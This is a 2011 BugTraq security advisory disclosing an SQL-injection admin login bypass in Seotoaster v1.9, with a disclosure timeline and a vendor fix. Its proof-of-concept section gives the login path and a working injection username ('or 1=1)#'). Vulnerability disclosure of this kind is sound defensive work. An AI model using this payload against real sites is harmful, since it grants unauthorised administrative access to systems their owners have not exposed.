BugTraq
Seotoaster SQL-Injection Admin Login Bypass Dec 15 2011 06:19PM
security infoserve de
Advisory: Seotoaster SQL-Injection Admin Login Bypass
Advisory ID: INFOSERVE-ADV2011-06
Author: Stefan Schurtz
Contact: security (at) infoserve (dot) de [email concealed]
Affected Software: Successfully tested on Seotoaster v.1.9
Vendor URL: http://www.seotoaster.com/
Vendor Status: fixed

==========================
Vulnerability Description
==========================

Seotoaster v.1.9 is prone to an SQL-Injection which bypass the admin login

==================
PoC-Exploit
==================

http://<target>/seotoaster/go

User: ' or 1=1)#
PW: notimportant

=========
Solution
=========

Upgrade to the latest version

====================
Disclosure Timeline
====================

15-Nov-2011 - Secunia SVCRP (vuln (at) secunia (dot) com [email concealed])
15-Dec-2011 - fixed by vendor

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://secunia.com/advisories/46881/
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-06.txt

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus